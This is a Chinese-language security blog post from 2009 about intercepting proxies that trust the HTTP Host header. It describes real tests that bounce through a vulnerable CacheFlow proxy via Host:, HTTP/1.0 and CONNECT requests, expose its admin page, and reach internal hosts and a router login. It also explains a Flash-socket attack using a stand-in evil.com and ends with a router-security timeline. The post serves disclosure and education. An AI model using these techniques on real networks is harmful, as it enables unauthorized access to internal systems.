Dan在文中也表示，在這個研究中，他與Paypal的Robert Auger合作密切。其實這次CERT的警告，最相關的就是Kaminsky的這篇研究以及Rober Auger於同一天（三月9日）公佈的paper：「Socket Capable Browser Plugins Result In Transparent Proxy Abuse（支援socket的瀏覽器外掛會導致代理伺服器之濫用）」，其中用了很具體並圖文並茂的例子，說明了CERT提及的弱點，在何種情況下可以被攻擊者利用。

Kaminsky的討論比較針對使用DPI(deep packet inspection)的設備，如防火牆與IPS等。要能在網路上偵測出這些設備的存在，目前並無太多現成的工具，但是Kiminsky的paper中給了許多不錯的方法。CERT與Auger的報告則以討論代理伺服器為主，代理伺服器的存在一般比較容易看得出來，我們就用實際的例子來說明。從我家到www.ebay.com中間，存在著攔截式代理伺服器（大家別討論屬於哪家ISP的，這不是重點，我們這邊只講技術）。如何證明？用ICMP與TCP SYN做traceroute，可以看出明顯的差別，來看看實際的測試。在以下的真實測試中，我們會示範如何藉由攔截式代理伺服器的漏洞，取得路由器與其他內網伺服器的管理介面與登入prompt。首先，我們發現我們在某位置（不在台灣），www.ebay.com對應了五個IP：
圖1--ebay對應五個IP
但是不論採哪個IP，UDP的traceroute結果大概都差不多：
圖2--UDP traceroute
那麼TCP traceroute在port 25上呢？也差不多：
圖3--TCP port 25 traceroute
可是TCP traceroute在port 80就不一樣了：
圖4--TCP port 80 traceroute
用nmap的tcp traceroute功能跑一下nmap，也是差不多的結果：
圖5--nmap -sS --traceroute
很明顯有攔截式proxy位於此路徑上，其作用很可能是加速使用者對於www.ebay.com的存取，以及節省長途的流量。我們用CERT公佈的方法測試一下，發現該路徑上有proxy有弱點，導致攻擊者可以利用該proxy連線至任意其他網站。該路徑上之proxy不只一台，有些沒有弱點，但是有些有。以下我們讓該proxy連到www.google.com.tw：
圖6--利用 GET HTTP/1.1與Host:之攻擊
這個攻擊非常簡單，也很容易了解。我們明明是連往www.ebay.com的port 80，但是因為我們心裡知道，接受連接的是一台proxy，所以我們就在【Host:】欄位，改填了"www.google.com.tw"，而結果該proxy在我們的操作下，往google連去了。很多攔截式proxy都會攔截多個網站，所以在判斷往往不從連線的目的IP來看，而從HTTP request中的【Host:】欄位來看（也就是從L7來看而非從L4來看）。其實這是很直覺也很合理的設計，並且要修正也不容易。為何不容易修正？我們來看看一個很常見的網路架構（topology）：


從上圖可以看出，不容易修正的原因包括如下：
1. proxy前端如果是具有WCCP功能的路由器在負責攔截port 80的流量給proxy，那proxy可以知道使用者的IP封包原本希望連哪裡，但是很多時候是L4/L7的switch在負責攔截，這個時候就不一定了，另外proxy也很有可能串接好幾台，那麼通常除了第一台知道以外，之後的都得靠【Host:】欄位。
2. 即使有IP目的地資訊，大的網站，大部分都是一個網址對應很多IP，如果根據當初要連往的IP而非【Host:】欄位，那可能減少快取（cache）的hit rate，除非要有辦法知道，哪些IP是屬於哪些網站的，但是由於此對應關係屬動態，故在proxy端不容易分析清楚。
3. 從IP來看究竟是要連往那個網站，如果用DNS反查，則可能會因為各地DNS之不同（proxy所用之DNS與使用者所用之DNS不同），而導致無法正確判斷使用者所想要連往的網站。這中間所消耗的時間也是另一個問題。

但是這樣一個弱點，就讓此「代理www.ebay.com之攔截式伺服器」，有效的變成了「公開的匿名伺服器」，根據CERT、Auger、與Kaminsky的報告，可以被利用來掃瞄或入侵內網，click fraud攻擊，發送垃圾信以及當作跳板等。這種弱點一般算是設備的弱點，而非設定上的弱點，但是同常也可以用設定來彌補。我們用古老的方法讓該proxy自首一下，到底是哪家的設備：

圖7--用古法之一來辨認設備廠商
辨認出來是一台CacheFlow。CacheFlow早於2002年就被BlueCoat併購了。早在2003年（被併購之後），Tim Kennedy就於Bugtraq公佈了該設備的類似弱點的了（BID 8584）：CacheFlow CacheOS HTTP HOST Proxy Vulnerability，當時Kennedy用的範例是利用該proxy發垃圾信。根據Bugtraq，廠商一直並未修復此弱點。再翻一下，更早在2002年，就有類似但更嚴重的弱點（BID 4143）：CacheFlow CacheOS HTTP CONNECT TCP Tunnel Vulnerability，原來也可以利用HTTP CONNECT來讓該設備連往任意網站之任意port。該報告說，解決方法是CacheOS（CacheFlow的平台）5.0版，已經將出廠值設為CONNECT只能連往port 443。電信等級設備特色是，超級穩定耐操壽命又長，但是通常更新不易，所以很多弱點的壽命也都很長。

其實我記得這些網路層的攻擊在2002年左右是高峰。一直往上爬就沒有所謂「高峰」，要有往下掉才有「高峰」--事實上正是如此，2002年後，SQL injection / XSS這些變得非常紅，大家的注意力也就從網路層的威脅慢慢轉移了。其實威脅一直存在，也一直被利用，只是不是媒體的焦點罷了。此類proxy弱點於bugtraq上有一篇很著名的，一篇打死近所有廠商的（2002年，BID 4131）：Multiple Vendor HTTP CONNECT TCP Tunnel Vulnerability（看看下面廠商清單有多長），與今年（2009）二月底的CERT報告，講的其實是差不多的事情，只是過了七年，路徑安全又在今年受到了重視，所以CERT等於重講了一次。在CERT報告中我們可以看出，BlueCoat於1月被通知，並已經於3月4日終於修改了這個七歲以上的已知漏洞。不過置於外那麼多超級強壯可以活10-20年的設備何時會真的被更新，就很難說了。既然有HTTP/1.0漏洞以及HTTP/1.0 CONNECT漏洞，我們也順便測試一下，該位於我們與ebay之間的CacheFlow，是否有類似弱點。我們先測HTTP/1.0漏洞：
圖8--HTTP/1.0漏洞
測試結果是漏洞存在，可以用HTTP/1.0指令讓該proxy連到www.google.com.tw。那麼CONNECT呢？
圖9--HTTP CONNECT www.google.com.tw成功
答案是肯定的，HTTP CONNECT也可以成功。那麼會不會是沒有真的連線，而只是剛好該proxy也暫存google的網頁呢？那我們測試叫他連到www.armorize.com好了，結果也成功，立刻連過來了：
圖10--HTTP CONNECT www.armorize.com成功
通常大家看到攔截式proxy可以bounce，直覺可以被駭客利用的就是打內網，或這次Auger提到的繞過same origin policy(相同來源政策)等。其實有一個應用是常被忽略的：如果攔截式proxy可以bounce，就會透露該proxy對外的IP。當然剛才該proxy已經連到我們網站過了，所以看log就可以看到IP，但更快的是，讓它連到像http://www.ipaddressworld.com這種會回報訪問者IP的網站，這樣就得到了該proxy對外的IP：

圖11--取得對外IP
我們連往該IP，果然看到了CacheFlow的管理頁面，上面有該設備的型號，內網IP，MAC硬體位置與OS序號等資訊。
圖12--對外的管理介面
最後的問題是，這一台CacheFlow（暫稱A），與位於我們與ebay中間的那一台（暫稱B），是同一台嗎？因為有可能是B攔截後，發現cache miss，於是串接A，讓A去取資料。由於圖12中我們可以看到A的內網位置，於是我們透過B的弱點，讓B透過內網連線A，發現是相通的，但是這只能確定，A與B其卻透過該內網相通，但是否A與B就是同一台，我們認為極有可能，但無法確定。
圖13--外網連內網
恩，連到內網了，由於圖12中的對外管理介面，讓我們得知了內網的IP，我們也於圖13中，證明了可以經過該漏洞，從外網連到內網。那是否可以連到路由器呢？一般路由器的IP都是設成.254，然後管理介面設在port 23(telnet)吧？那我們演練看看好了：
圖14--外網連內網，最後連進路由器

故事說到這，其實已經從外網連到內網，然後連到路由器的CLI介面了。當然這不算是有弱點，因為我們沒有密碼，但是這示範了最近SANS/CERT/Kaminsky/Auger在講的威脅。那麼再繼續看呢？試一試.253好了，結果.253是一台伺服器，login畫面出來了：
圖15--外網連內網，取得login畫面

這個攻擊很古老，但是為何CERT、Kaminsky、Auger等人又在最近重提呢？原因有二，第一，最近路徑上的威脅倍增，大家重視；第二，Kaminsky與Auger有效地提出了該弱點如何可以被利用。我們拿Auger報告中的圖來做說明：
圖16--Auger的說明（thesecuritypractice.com）
Auger主要假設使用者瀏覽了一個被掛馬的網站，其中惡意iframe指向www.evil.com。此時第一步，使用者機器連往DNS，詢問出www.evil.com的IP為1.1.1.1。第二步，使用者連往www.evil.com，www.evil.com丟給使用者一個flash。此flash有權力開socket連回www.evil.com，於是第三步，flash先詢問www.evil.com是否可以開socket連回（flash保護機制Security.loadPolicyFile()）。第四步，flash開socket連回www.evil.com，但是由於socket開在port 80內容也為標準HTTP GET封包，故連線被中間的proxy攔截。步驟五，由於封包中之【Host:】欄位並非指定www.evil.com而是指定www.site.com（該proxy之弱點），該proxy向DNS詢問www.site.com之IP，並於步驟6連往。此時，瀏覽器上之same origin policy(相同來源政策)就被成功的繞過了。

最後我們還是要特別強調，測試之環境不在台灣，我們也已經通知對方，對方也把問題修復了。希望這些技術面的討論，對大家有幫助。

路徑安全大事一覽表：

2003/07/30	Black Hat US 2003，FX（Phenoelit的leader Felix）發表：「更多有弱點之嵌入式系統（More vulnerable embedded systems）」（投影片）
2003/10/01	Black Hat Federa 2003，FX發表：「Cisco弱點--過去，今天與未來（Cisco Vulnerabilities - Yesterday, Today and Tomorrow）」（投影片）
2005/07/27	Michael Lynn於Black Hat 2005上發表：「聖杯：CISCO IOS shellcode 以及攻擊技巧」（這裡與這裡有人公布投影片），遭Cisco沒收大會所有講義與CD(這裡有人公開當初撕書與沒收CD的錄影）
2007/07/22	Black Hat / DEFCON主席Jeff在DEFCON 2007，講了Lynn&Cisco整段事件（影片在這裡），並說當時Michael卡住，結果：他在「一個中文的論壇上找到了答案，已經有中國人先研究出來了，於是他翻譯了內容，並有了突破」。
2007/09/26	專門駭入路由器偷VoIP頻寬之駭客Robert Moore被判刑，他駭入了15家電信業者，並說：「太容易了，野人都會」
2008/05/15	The Register: 路由器rootkit上演，網路將被操控(Rootkits on routers threat to be demoed--Networks own3d)
2008/05/17	Cisco官方強化IOS設備手冊 (Cisco Guide to Harden Cisco IOS Devices)（此乃針對以下之演講發表）
2008/05/19	台灣Digitimes:可入侵思科路由器的Rootkit軟近期內將公開亮相
2008/05/21	EUSecWest 2008--Core的研究員Ariel Futoransky: Cisco IOS rootkit解密：正宗IOS Rootkit（Killing the myth of Cisco IOS rootkits:DIK Ios rootKit）（PDF paper 下載）
2008/05/23	中国IT实验室：Rootkit兵临城下 思科忙为路由器打补丁
2008/05/26	网界网：思科发布路由器补丁程序，但忧虑仍在
2008/06/08	IDG: Cisco路由器又在駭客聚光燈下(Cisco routers again take hacker spotlight)
2008/08/02	Black Hat 2008 一共三場關於路由器安全之演講
2008/08/06	Gyan Chawdhary與Varun Uppal發表：「Cisco IOS shellcode與後門（Cisco IOS Shellcodes/Backdoors）」（講義下載）
2008/08/07	Core的研究員Ariel Futoransky--「Viral Infections in Cisco IOS（病毒式感染Cisco IOS）」（投影片）
2008/08/07	FX發表：isco IOS鑑識的近期發展（Developments in Cisco IOS Forensics）（講義下載）
2008/08/13	中国IT实验室：全球黑客聚会黑帽大会 Cisco路由器再成热点话题
2008/08/21	Andy Davis發表：「跨版本Cisco IOSshellcode（Version-independent IOS shellcode）」
2008/09/30	ISC2（推出CISSP認證的組織）blog：網路上最弱的一環是路由器。太多設定不好的路由器了。（連結）
2008/12/30	25c3 Conference，FX發表：「Cisco IOS--攻擊與防禦，當今最高水平（Cisco IOS--Attack & Defence, the State of the Art）」（投影片在這）（錄影在這裡）
2009/01/11	Terry Baume：「Netcomm NB5路由器僵屍網路（Netcomm NB5 Botnet–PSYB0T 2.5L）」。
2009/02/23	CERT針對代理伺服器發出警訊：「Intercepting proxy servers may incorrectly rely on HTTP headers to make connections」
2009/03/09	Rober Auger公佈paper：「支援socket的瀏覽器外掛會導致代理伺服器之濫用（Socket Capable Browser Plugins Result In Transparent Proxy Abuse）」，說明了CERT提及的弱點，在何種情況下可以被攻擊者利用。
2009/03/09	Dan Kaminsky於blog上表示今年在CanSecWest 2009上會講關於路徑安全之主題：「Staring Into The Abyss」（WORD下載、PDF下載）
2009/03/09	SANS針對二月時CERT之警訊以及三月時Kaminsky與Auger的研究發出警告：「Browser plug-ins, transparent proxies and same origin policies」。
2009/03/12	Cisco警告：「亞洲某些區域出現流量綁架，可能是non-blind TCP spoofing或其他種類攻擊，tw.msn.com與taiwan.cnet.com受影響」（連結）
2009/03/22	DroneBL發表：「網路藍色藥丸：隱形路由器僵屍網路過去幾星期以DDoS攻擊DroneBL（Network Bluepill - stealth router-based botnet has been DDoSing dronebl for the last couple of weeks）」，敘述了NetComm NB5路由器被感染並成為僵屍網路一員的整個過程
2009/03/23	ZDNet的Zero Day blog發表：「隱形路由器botnet蠕蟲散播（Stealthy router-based botnet worm squirming）」
2009/03/24	SANS警告：「PSYB0T：mipsel設備之IRC Bot（PSYB0T: A MIPS-device (mipsel) IRC Bot ）」
2009/03/24	The Register：「蠕蟲透過家用路由器與modem養botnet，超過100,000台遭入侵（Worm breeds botnet from home routers, modems--More than 100,000 hosts invaded）」
2009/03/24	Dark Reading：「路由器以往是被視為比較不會遭受惡意程式攻擊的，僵屍網路以往則針對個人電腦跟伺服器，但現在不同了。（Routers traditionally have been considered relatively immune to malware and attacks, and botnets traditionally used PCs and servers.）
2009/03/24	Dark Reading長篇大論地討論了路由器的安全：「破解路由器修補之謎（Hacking The Router Patching Conundrum）」
2009/03/25	Cisco發出了advisory，集合了8篇advisory，一次公佈了8個CISCO IOS的弱點，並提供更新程式下載
2009/03/25	SANS警告：「Cisco釋出IOS弱點修正集合（Cisco Releases IOS Bundle of Vulnerabilities）」
2009/03/30	SANS發佈警訊，標題是「小心你的路由器！（Watch your Internet routers!），詳細介紹了前幾天某台Cisco被入侵的過程：不到五分鐘，駭客已經建好tunnel回家了

作者 Fyodor Yarochkin 為 o0o.nu 成員
作者 Wayne 為 阿碼科技CEO

相關系列文章：
2009/03/08 「大規模網頁綁架轉址：威脅未解除，但專家都猜錯了」
2009/03/12 「大規模網頁綁架轉址之水落石出篇」
2009/03/13 「回答IP Spoofing 的問題」
2009/03/15 「從大規模轉址事件看IP spoofing、ARP spoofing、ARP掛馬與路徑(route)安全」
2009/03/27 「網路藍色藥丸？首支攻擊路由器之蠕蟲出現：再談路徑之安全性」


繼續閱讀全文...